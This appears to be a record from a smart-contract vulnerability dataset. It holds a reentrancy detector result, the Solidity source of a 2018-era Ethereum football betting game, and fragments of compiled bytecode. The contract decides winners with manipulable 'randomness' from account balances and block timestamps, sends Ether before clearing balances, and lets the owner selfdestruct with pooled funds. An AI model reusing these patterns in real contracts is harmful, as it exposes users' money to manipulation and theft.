0000000000006102c481610919565b73ffffffffffffffffffffffffffffffffffffffff16331461034757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f63616c6c657220697320696c6c6567616c000000000000000000000000000000604482015290519081900360640190fd5b61034f6107f2565b91508173ffffffffffffffffffffffffffffffffffffffff1663ad69494e6001546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1580156103c257600080fd5b505af11580156103d6573d6000803e3d6000fd5b505050506040513d60208110156103ec57600080fd5b5051156104b7578173ffffffffffffffffffffffffffffffffffffffff1663310bd74b6001546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561046457600080fd5b505af1158015610478573d6000803e3d6000fd5b50505050600060015411151561048a57fe5b600180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190556104c1565b6002805460010190555b5050565b6000806000806000806104d66107a0565b73ffffffffffffffffffffffffffffffffffffffff16633488ecb36001546002546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060c060405180830381600087803b15801561055057600080fd5b505af1158015610564573d6000803e3d6000fd5b505050506040513d60c081101561057a57600080fd5b508051602082015160408301516060840151608085015160a090950151939b929a50909850965091945092509050565b7f494d6f6e65746172794d6f64656c0000000000000000000000000000000000006105d481610919565b73ffffffffffffffffffffffffffffffffffffffff16331461065757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f63616c6c657220697320696c6c6567616c000000000000000000000000000000604482015290519081900360640190fd5b600254151561076e5760018054810190819055605e10156106d957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f7265616368656420656e64206f66206c61737420696e74657276616c00000000604482015290519081900360640190fd5b6106e16107f2565b73ffffffffffffffffffffffffffffffffffffffff166395805dad6001546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561075157600080fd5b505af1158015610765573d6000803e3d6000fd5b50505050610797565b600280547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190555b50565b60015481565b60006107cb7f494d6f64656c44617461536f7572636500000000000000000000000000000000610919565b905090565b60005473ffffffffffffffffffffffffffffffffffffffff1690565b60025481565b60006107cb7f494d696e74696e67506f696e7454696d6572734d616e61676572000000000000610919565b605e81565b60008061082d6107a0565b73ffffffffffffffffffffffffffffffffffffffff1663fbfe57906001546002546040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180838152602001828152602001925050506040805180830381600087803b1580156108a657600080fd5b505af11580156108ba573d6000803e3d6000fd5b505050506040513d60408110156108d057600080fd5b50805160209091015190925090509091565b60408051808201909152600581527f312e302e31000000000000000000000000000000000000000000000000000000602082015281565b60008054604080517f0d2020dd00000000000000000000000000000000000000000000000000000000815260048101859052905173ffffffffffffffffffffffffffffffffffffffff90921691630d2020dd9160248082019260209290919082900301818787803b15801561098d57600080fd5b505af11580156109a1573d6000803e3d6000fd5b505050506040513d60208110156109b757600080fd5b5051929150505600a165627a7a72305820eb513e3e2349c21d7737caac3fe33f154b0cfac828d86b0f69b429050b3a49fe0029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
6,748
0xf76557d533e7adf2e74a9d9d8b833c73809ba7c1
pragma solidity ^0.4.21; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract CryptoCupVirtualMatch { // evsoftware.co.uk // cryptocup.online /*****------ EVENTS -----*****/ event MatchCreated(uint256 indexed id, uint256 playerEntryPrice, uint256 homeTeam, uint256 awayTeam, uint256 kickOff, uint256 fullTime); event MatchFinished(uint256 indexed id, uint256 homeTeam, uint256 awayTeam, uint256 winningTeam, uint256 teamAllocation); event PlayerJoined(uint256 indexed id, uint256 team, string playerName, address account); event TeamOwnerPaid(uint256 indexed id, uint256 amount); /*****------- STORAGE -------******/ CryptoCupToken cryptoCupTokenContract; address public contractModifierAddress; address public developerAddress; mapping (uint256 => Match) public matches; mapping (address => Player) public players; mapping (uint256 => Team) public teams; uint256 private developerBalance; bool private allowInPlayJoining = true; bool private allowPublicMatches = true; uint256 private entryPrice = 0.05 ether; uint256 private startInSeconds = 300; uint256 private durationInSeconds = 120; uint256 private dataVisibleWindow = 21600; // Initial 6 hours uint256 private matchCounter; uint256 private playerCounter; uint256 private teamCounter; bool private commentating = false; /*****------- DATATYPES -------******/ struct Match { uint256 id; uint256 playerEntryPrice; uint256 homeTeam; mapping (uint256 => Player) homeTeamPlayers; uint256 homeTeamPlayersCount; uint256 awayTeam; mapping (uint256 => Player) awayTeamPlayers; uint256 awayTeamPlayersCount; uint256 kickOff; uint256 fullTime; uint256 prize; uint256 homeScore; uint256 awayScore; uint256 winningTeam; uint256 winningTeamBonus; bool reported; } struct Player { uint256 id; string name; address account; uint256 balance; } struct Team { uint256 id; address owner; uint256 balance; bool init; } /*****------- MODIFIERS -------******/ modifier onlyContractModifier() { require(msg.sender == contractModifierAddress); _; } /*****------- CONSTRUCTOR -------******/ constructor() public { contractModifierAddress = msg.sender; developerAddress = msg.sender; } function destroy() public onlyContractModifier { selfdestruct(contractModifierAddress); } function setDeveloper(address _newDeveloperAddress) public onlyContractModifier { require(_newDeveloperAddress != address(0)); developerAddress = _newDeveloperAddress; } function setCryptoCupTokenContractAddress(address _cryptoCupTokenAddress) public onlyContractModifier { cryptoCupTokenContract = CryptoCupToken(_cryptoCupTokenAddress); } function togglePublicMatches() public onlyContractModifier { // If we find an issue with people creating matches allowPublicMatches = !allowPublicMatches; } function toggleInPlayJoining() public onlyContractModifier { // If we find an issue with people trying to join games that are in progress, we can change the logic to not allow this and they can only join before a game starts allowInPlayJoining = !allowInPlayJoining; } function toggleMatchStartEnd(uint256 _startInSeconds, uint256 _durationInSeconds) public onlyContractModifier { startInSeconds = _startInSeconds; durationInSeconds = _durationInSeconds; } function toggleDataViewWindow(uint256 _periodInSeconds) public onlyContractModifier { dataVisibleWindow = _periodInSeconds; } function doubleEntryPrice() public onlyContractModifier { // May want to ramp up during knockouts entryPrice = SafeMath.mul(entryPrice,2); } function halveEntryPrice() public onlyContractModifier { // Ability to ramp down entryPrice = SafeMath.div(entryPrice,2); } function developerPrizeClaim() public onlyContractModifier { developerAddress.transfer(developerBalance); developerBalance = 0; } function getBalance() public constant returns(uint256) { return address(this).balance; } function getTotalMatches() public constant returns(uint256) { return matchCounter; } function getTotalPlayers() public constant returns(uint256) { return playerCounter; } function getCryptoCupTokenContractAddress() public view returns (address contractAddress) { return cryptoCupTokenContract; } function getTeamOwner(uint256 _tokenId) public view returns(address owner) { owner = cryptoCupTokenContract.ownerOf(_tokenId); } function getEntryPrice() public constant returns(uint256) { return entryPrice; } function createPlayerMatch(uint256 _homeTeam, uint256 _awayTeam, uint256 _entryPrice, uint256 _startInSecondsTime, uint256 _matchDuration) public { require(allowPublicMatches); require(_homeTeam != _awayTeam); require(_homeTeam < 32 && _awayTeam < 32); require(_entryPrice >= entryPrice); require(_startInSecondsTime > 0); require(_matchDuration >= durationInSeconds); // Does home team exist? if (!teams[_homeTeam].init) { teams[_homeTeam] = Team(_homeTeam, cryptoCupTokenContract.ownerOf(_homeTeam), 0, true); } // Does away team exist? if (!teams[_awayTeam].init) { teams[_awayTeam] = Team(_awayTeam, cryptoCupTokenContract.ownerOf(_awayTeam), 0, true); } // Does the user own one of these teams? require(teams[_homeTeam].owner == msg.sender || teams[_awayTeam].owner == msg.sender); uint256 _kickOff = now + _startInSecondsTime; uint256 _fullTime = _kickOff + _matchDuration; matchCounter++; matches[matchCounter] = Match(matchCounter, _entryPrice, _homeTeam, 0, _awayTeam, 0, _kickOff, _fullTime, 0, 0, 0, 0, 0, false); emit MatchCreated(matchCounter, entryPrice, _homeTeam, _awayTeam, _kickOff, _fullTime); } function createMatch(uint256 _homeTeam, uint256 _awayTeam) public onlyContractModifier { require(_homeTeam != _awayTeam); // Does home team exist? if (!teams[_homeTeam].init) { teams[_homeTeam] = Team(_homeTeam, cryptoCupTokenContract.ownerOf(_homeTeam), 0, true); } // Does away team exist? if (!teams[_awayTeam].init) { teams[_awayTeam] = Team(_awayTeam, cryptoCupTokenContract.ownerOf(_awayTeam), 0, true); } // match starts in five mins, lasts for 3 mins uint256 _kickOff = now + startInSeconds; uint256 _fullTime = _kickOff + durationInSeconds; matchCounter++; matches[matchCounter] = Match(matchCounter, entryPrice, _homeTeam, 0, _awayTeam, 0, _kickOff, _fullTime, 0, 0, 0, 0, 0, false); emit MatchCreated(matchCounter, entryPrice, _homeTeam, _awayTeam, _kickOff, _fullTime); } function joinMatch(uint256 _matchId, uint256 _team, string _playerName) public payable { // Does player exist? if (players[msg.sender].id == 0) { players[msg.sender] = Player(playerCounter++, _playerName, msg.sender, 0); } else { players[msg.sender].name = _playerName; } // Get match Match storage theMatch = matches[_matchId]; // Validation require(theMatch.id != 0); require(msg.value >= theMatch.playerEntryPrice); require(_addressNotNull(msg.sender)); // Match status if (allowInPlayJoining) { require(now < theMatch.fullTime); } else { require(now < theMatch.kickOff); } // Spaces left on team if (theMatch.homeTeam == _team) { require(theMatch.homeTeamPlayersCount < 11); theMatch.homeTeamPlayers[theMatch.homeTeamPlayersCount++] = players[msg.sender]; } else { require(theMatch.awayTeamPlayersCount < 11); theMatch.awayTeamPlayers[theMatch.awayTeamPlayersCount++] = players[msg.sender]; } theMatch.prize += theMatch.playerEntryPrice; // Overpayments are refunded uint256 purchaseExcess = SafeMath.sub(msg.value, theMatch.playerEntryPrice); msg.sender.transfer(purchaseExcess); emit PlayerJoined(_matchId, _team, players[msg.sender].name, msg.sender); } function getMatchHomePlayers(uint256 matchId) public constant returns(address[]) { if(matchCounter == 0) { return new address[](0x0); } // We only return matches that are in play address[] memory matchPlayers = new address[](matches[matchId].homeTeamPlayersCount); for (uint256 i = 0; i < matches[matchId].homeTeamPlayersCount; i++) { matchPlayers[i] = matches[matchId].homeTeamPlayers[i].account; } return (matchPlayers); } function getMatchAwayPlayers(uint256 matchId) public constant returns(address[]) { if(matchCounter == 0) { return new address[](0x0); } // We only return matches that are in play address[] memory matchPlayers = new address[](matches[matchId].awayTeamPlayersCount); for (uint256 i = 0; i < matches[matchId].awayTeamPlayersCount; i++) { matchPlayers[i] = matches[matchId].awayTeamPlayers[i].account; } return (matchPlayers); } function getFixtures() public constant returns(uint256[]) { if(matchCounter == 0) { return new uint[](0); } uint256[] memory matchIds = new uint256[](matchCounter); uint256 numberOfMatches = 0; for (uint256 i = 1; i <= matchCounter; i++) { if (now < matches[i].kickOff) { matchIds[numberOfMatches] = matches[i].id; numberOfMatches++; } } // copy it to a shorter array uint[] memory smallerArray = new uint[](numberOfMatches); for (uint j = 0; j < numberOfMatches; j++) { smallerArray[j] = matchIds[j]; } return (smallerArray); } function getInPlayGames() public constant returns(uint256[]) { if(matchCounter == 0) { return new uint[](0); } // We only return matches that are in play uint256[] memory matchIds = new uint256[](matchCounter); uint256 numberOfMatches = 0; for (uint256 i = 1; i <= matchCounter; i++) { if (now > matches[i].kickOff && now < matches[i].fullTime) { matchIds[numberOfMatches] = matches[i].id; numberOfMatches++; } } // copy it to a shorter array uint[] memory smallerArray = new uint[](numberOfMatches); for (uint j = 0; j < numberOfMatches; j++) { smallerArray[j] = matchIds[j]; } return (smallerArray); } function getUnReportedMatches() public constant returns(uint256[]) { if(matchCounter == 0) { return new uint[](0); } // We only return matches that are finished and unreported that had players uint256[] memory matchIds = new uint256[](matchCounter); uint256 numberOfMatches = 0; for (uint256 i = 1; i <= matchCounter; i++) { if (!matches[i].reported && now > matches[i].fullTime && (matches[i].homeTeamPlayersCount + matches[i].awayTeamPlayersCount) > 0) { matchIds[numberOfMatches] = matches[i].id; numberOfMatches++; } } // copy it to a shorter array uint[] memory smallerArray = new uint[](numberOfMatches); for (uint j = 0; j < numberOfMatches; j++) { smallerArray[j] = matchIds[j]; } return (smallerArray); } function getMatchReport(uint256 _matchId) public { Match storage theMatch = matches[_matchId]; require(theMatch.id > 0 && !theMatch.reported); uint256 index; // if a match was one sided, refund all players if (theMatch.homeTeamPlayersCount == 0 || theMatch.awayTeamPlayersCount == 0) { for (index = 0; index < theMatch.homeTeamPlayersCount; index++) { players[theMatch.homeTeamPlayers[index].account].balance += theMatch.playerEntryPrice; } for (index = 0; index < theMatch.awayTeamPlayersCount; index++) { players[theMatch.awayTeamPlayers[index].account].balance += theMatch.playerEntryPrice; } } else { // Get the account balances of each team, NOT the in game balance. uint256 htpBalance = 0; for (index = 0; index < theMatch.homeTeamPlayersCount; index++) { htpBalance += theMatch.homeTeamPlayers[index].account.balance; } uint256 atpBalance = 0; for (index = 0; index < theMatch.awayTeamPlayersCount; index++) { atpBalance += theMatch.awayTeamPlayers[index].account.balance; } theMatch.homeScore = htpBalance % 5; theMatch.awayScore = atpBalance % 5; // We want a distinct winner if (theMatch.homeScore == theMatch.awayScore) { if(block.timestamp % 2 == 0){ theMatch.homeScore += 1; } else { theMatch.awayScore += 1; } } uint256 prizeMoney = 0; if(theMatch.homeScore > theMatch.awayScore){ // home wins theMatch.winningTeam = theMatch.homeTeam; prizeMoney = SafeMath.mul(theMatch.playerEntryPrice, theMatch.awayTeamPlayersCount); } else { // away wins theMatch.winningTeam = theMatch.awayTeam; prizeMoney = SafeMath.mul(theMatch.playerEntryPrice, theMatch.homeTeamPlayersCount); } uint256 onePercent = SafeMath.div(prizeMoney, 100); uint256 developerAllocation = SafeMath.mul(onePercent, 1); uint256 teamOwnerAllocation = SafeMath.mul(onePercent, 9); uint256 playersProfit = SafeMath.mul(onePercent, 90); uint256 playersProfitShare = 0; // Allocate funds to players if (theMatch.winningTeam == theMatch.homeTeam) { playersProfitShare = SafeMath.add(SafeMath.div(playersProfit, theMatch.homeTeamPlayersCount), theMatch.playerEntryPrice); for (index = 0; index < theMatch.homeTeamPlayersCount; index++) { players[theMatch.homeTeamPlayers[index].account].balance += playersProfitShare; } } else { playersProfitShare = SafeMath.add(SafeMath.div(playersProfit, theMatch.awayTeamPlayersCount), theMatch.playerEntryPrice); for (index = 0; index < theMatch.awayTeamPlayersCount; index++) { players[theMatch.awayTeamPlayers[index].account].balance += playersProfitShare; } } // Allocate to team owner teams[theMatch.winningTeam].balance += teamOwnerAllocation; theMatch.winningTeamBonus = teamOwnerAllocation; // Allocate to developer developerBalance += developerAllocation; emit MatchFinished(theMatch.id, theMatch.homeTeam, theMatch.awayTeam, theMatch.winningTeam, teamOwnerAllocation); } theMatch.reported = true; } function getReportedMatches() public constant returns(uint256[]) { if(matchCounter == 0) { return new uint[](0); } // We only return matches for the last x hours - everything else is on chain uint256[] memory matchIds = new uint256[](matchCounter); uint256 numberOfMatches = 0; for (uint256 i = 1; i <= matchCounter; i++) { if (matches[i].reported && now > matches[i].fullTime && matches[i].fullTime + dataVisibleWindow > now) { matchIds[numberOfMatches] = matches[i].id; numberOfMatches++; } } // copy it to a shorter array uint[] memory smallerArray = new uint[](numberOfMatches); for (uint j = 0; j < numberOfMatches; j++) { smallerArray[j] = matchIds[j]; } return (smallerArray); } function playerPrizeClaim() public { require(_addressNotNull(msg.sender)); require(players[msg.sender].account != address(0)); msg.sender.transfer(players[msg.sender].balance); players[msg.sender].balance = 0; } function teamPrizeClaim(uint256 _teamId) public { require(_addressNotNull(msg.sender)); require(teams[_teamId].init); // This allows for sniping of teams. If a balance increases because teams have won games with bets on them // then it is down to the owner to claim the prize. If someone spots a build up of balance on a team // and then buys the team they can claim the prize. This is the intent. teams[_teamId].owner = cryptoCupTokenContract.ownerOf(_teamId); // This way the claimant either gets the balance because he sniped the team // Or he initiates the transfer to the rightful owner teams[_teamId].owner.transfer(teams[_teamId].balance); emit TeamOwnerPaid(_teamId, teams[_teamId].balance); teams[_teamId].balance = 0; } /********----------- PRIVATE FUNCTIONS ------------********/ function _addressNotNull(address _to) private pure returns (bool) { return _to != address(0); } } contract CryptoCupToken { function ownerOf(uint256 _tokenId) public view returns (address addr); }
0x6080604052600436106101a1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806308707031146101a657806309508ce4146101e95780630c8135a7146102555780630d9d19b9146102c257806312065fe01461033257806313a927c71461035d57806314287a07146103945780631b04803e146103ab5780632436219c1461040257806337ceb05b146104195780633ac3a2fe146104855780633ed2b77a146104b25780634529cae7146105385780634768d4ef1461056357806348cd65d91461060357806353d838b61461066f5780636ea11f65146106f157806370a4fc11146107085780637d3fcaff1461073557806383197ef014610762578063889d95501461077957806392ff3751146107d05780639a14228e14610852578063b7e2263b1461087d578063caccd7f7146108a8578063d002a41c146108ff578063e2eb41ff1461096b578063edc0aee614610a68578063f572ae2e14610abd578063f5a0ea6c14610ad4578063fb01f4b114610b0b578063fe49dd5f14610b22578063ff70fa4914610b39575b600080fd5b3480156101b257600080fd5b506101e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b7c565b005b3480156101f557600080fd5b506101fe610c1b565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610241578082015181840152602081019050610226565b505050509050019250505060405180910390f35b34801561026157600080fd5b5061028060048036038101908080359060200190929190505050610df3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103306004803603810190808035906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610ec7565b005b34801561033e57600080fd5b506103476114ff565b6040518082815260200191505060405180910390f35b34801561036957600080fd5b50610392600480360381019080803590602001909291908035906020019092919050505061151e565b005b3480156103a057600080fd5b506103a961158c565b005b3480156103b757600080fd5b506103c0611711565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561040e57600080fd5b50610417611737565b005b34801561042557600080fd5b5061042e6117a8565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610471578082015181840152602081019050610456565b505050509050019250505060405180910390f35b34801561049157600080fd5b506104b06004803603810190808035906020019092919050505061192f565b005b3480156104be57600080fd5b506104dd60048036038101908080359060200190929190505050611b91565b604051808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018215151515815260200194505050505060405180910390f35b34801561054457600080fd5b5061054d611bee565b6040518082815260200191505060405180910390f35b34801561056f57600080fd5b5061058e60048036038101908080359060200190929190505050611bf8565b604051808f81526020018e81526020018d81526020018c81526020018b81526020018a8152602001898152602001888152602001878152602001868152602001858152602001848152602001838152602001821515151581526020019e50505050505050505050505050505060405180910390f35b34801561060f57600080fd5b50610618611c71565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561065b578082015181840152602081019050610640565b505050509050019250505060405180910390f35b34801561067b57600080fd5b5061069a60048036038101908080359060200190929190505050611e19565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106dd5780820151818401526020810190506106c2565b505050509050019250505060405180910390f35b3480156106fd57600080fd5b50610706611f78565b005b34801561071457600080fd5b5061073360048036038101908080359060200190929190505050612000565b005b34801561074157600080fd5b5061076060048036038101908080359060200190929190505050612066565b005b34801561076e57600080fd5b50610777612691565b005b34801561078557600080fd5b5061078e612728565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107dc57600080fd5b506107fb60048036038101908080359060200190929190505050612751565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561083e578082015181840152602081019050610823565b505050509050019250505060405180910390f35b34801561085e57600080fd5b506108676128b0565b6040518082815260200191505060405180910390f35b34801561088957600080fd5b506108926128ba565b6040518082815260200191505060405180910390f35b3480156108b457600080fd5b506108bd6128c4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561090b57600080fd5b506109146128ea565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561095757808201518184015260208101905061093c565b505050509050019250505060405180910390f35b34801561097757600080fd5b506109ac600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ad8565b60405180858152602001806020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019080838360005b83811015610a2a578082015181840152602081019050610a0f565b50505050905090810190601f168015610a575780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b348015610a7457600080fd5b50610abb6004803603810190808035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190505050612bc0565b005b348015610ac957600080fd5b50610ad2613245565b005b348015610ae057600080fd5b50610b0960048036038101908080359060200190929190803590602001909291905050506132cd565b005b348015610b1757600080fd5b50610b2061386e565b005b348015610b2e57600080fd5b50610b3761393f565b005b348015610b4557600080fd5b50610b7a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506139b0565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bd857600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6060806000806060600080600c541415610c67576000604051908082528060200260200182016040528015610c5f5781602001602082028038833980820191505090505b509550610deb565b600c54604051908082528060200260200182016040528015610c985781602001602082028038833980820191505090505b50945060009350600192505b600c5483111515610d675760036000848152602001908152602001600020600f0160009054906101000a900460ff168015610cf45750600360008481526020019081526020016000206009015442115b8015610d19575042600b54600360008681526020019081526020016000206009015401115b15610d5a5760036000848152602001908152602001600020600001548585815181101515610d4357fe5b906020019060200201818152505083806001019450505b8280600101935050610ca4565b83604051908082528060200260200182016040528015610d965781602001602082028038833980820191505090505b509150600090505b83811015610de7578481815181101515610db457fe5b906020019060200201518282815181101515610dcc57fe5b90602001906020020181815250508080600101915050610d9e565b8195505b505050505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e836040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b158015610e8557600080fd5b505af1158015610e99573d6000803e3d6000fd5b505050506040513d6020811015610eaf57600080fd5b81019080805190602001909291905050509050919050565b6000806000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154141561101d57608060405190810160405280600d60008154809291906001019190505581526020018481526020013373ffffffffffffffffffffffffffffffffffffffff1681526020016000815250600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001019080519060200190610fc3929190613b52565b5060408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060608201518160030155905050611075565b82600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001019080519060200190611073929190613bd2565b505b600360008681526020019081526020016000209150600082600001541415151561109e57600080fd5b816001015434101515156110b157600080fd5b6110ba33613a8c565b15156110c557600080fd5b600760009054906101000a900460ff16156110f1578160090154421015156110ec57600080fd5b611104565b81600801544210151561110357600080fd5b5b838260020154141561123457600b826004015410151561112357600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082600301600084600401600081548092919060010191905055815260200190815260200160002060008201548160000155600182018160010190805460018160011615610100020316600290046111ba929190613c52565b506002820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060038201548160030155905050611354565b600b826007015410151561124757600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082600601600084600701600081548092919060010191905055815260200190815260200160002060008201548160000155600182018160010190805460018160011615610100020316600290046112de929190613c52565b506002820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600382015481600301559050505b816001015482600a0160008282540192505081905550611378348360010154613ac5565b90503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156113c0573d6000803e3d6000fd5b50847fa09da366daf94a4ddd2e48eb3abe27363416d18a365d417f8f99211fb3b2ba7885600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001013360405180848152602001806020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281038252848181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156114e85780601f106114bd576101008083540402835291602001916114e8565b820191906000526020600020905b8154815290600101906020018083116114cb57829003601f168201915b505094505050505060405180910390a25050505050565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561157a57600080fd5b8160098190555080600a819055505050565b61159533613a8c565b15156115a057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561163e57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301549081150290604051600060405180830381858888f193505050501580156116c6573d6000803e3d6000fd5b506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030181905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561179357600080fd5b6117a06008546002613ade565b600881905550565b6060806000806060600080600c5414156117f45760006040519080825280602002602001820160405280156117ec5781602001602082028038833980820191505090505b509550611927565b600c546040519080825280602002602001820160405280156118255781602001602082028038833980820191505090505b50945060009350600192505b600c54831115156118a3576003600084815260200190815260200160002060080154421015611896576003600084815260200190815260200160002060000154858581518110151561187f57fe5b906020019060200201818152505083806001019450505b8280600101935050611831565b836040519080825280602002602001820160405280156118d25781602001602082028038833980820191505090505b509150600090505b838110156119235784818151811015156118f057fe5b90602001906020020151828281518110151561190857fe5b906020019060200201818152505080806001019150506118da565b8195505b505050505090565b61193833613a8c565b151561194357600080fd5b6005600082815260200190815260200160002060030160009054906101000a900460ff16151561197257600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e826040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b158015611a0257600080fd5b505af1158015611a16573d6000803e3d6000fd5b505050506040513d6020811015611a2c57600080fd5b81019080805190602001909291905050506005600083815260200190815260200160002060010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506005600082815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc60056000848152602001908152602001600020600201549081150290604051600060405180830381858888f19350505050158015611b23573d6000803e3d6000fd5b50807f825882e7de73bba9e37139370f833e87e85f4b7f5a1871ab2d0e58407eb42b9260056000848152602001908152602001600020600201546040518082815260200191505060405180910390a26000600560008381526020019081526020016000206002018190555050565b60056020528060005260406000206000915090508060000154908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060020154908060030160009054906101000a900460ff16905084565b6000600d54905090565b600360205280600052604060002060009150905080600001549080600101549080600201549080600401549080600501549080600701549080600801549080600901549080600a01549080600b01549080600c01549080600d01549080600e01549080600f0160009054906101000a900460ff1690508e565b6060806000806060600080600c541415611cbd576000604051908082528060200260200182016040528015611cb55781602001602082028038833980820191505090505b509550611e11565b600c54604051908082528060200260200182016040528015611cee5781602001602082028038833980820191505090505b50945060009350600192505b600c5483111515611d8d57600360008481526020019081526020016000206008015442118015611d3f5750600360008481526020019081526020016000206009015442105b15611d805760036000848152602001908152602001600020600001548585815181101515611d6957fe5b906020019060200201818152505083806001019450505b8280600101935050611cfa565b83604051908082528060200260200182016040528015611dbc5781602001602082028038833980820191505090505b509150600090505b83811015611e0d578481815181101515611dda57fe5b906020019060200201518282815181101515611df257fe5b90602001906020020181815250508080600101915050611dc4565b8195505b505050505090565b606080600080600c541415611e60576000604051908082528060200260200182016040528015611e585781602001602082028038833980820191505090505b509250611f71565b60036000858152602001908152602001600020600701546040519080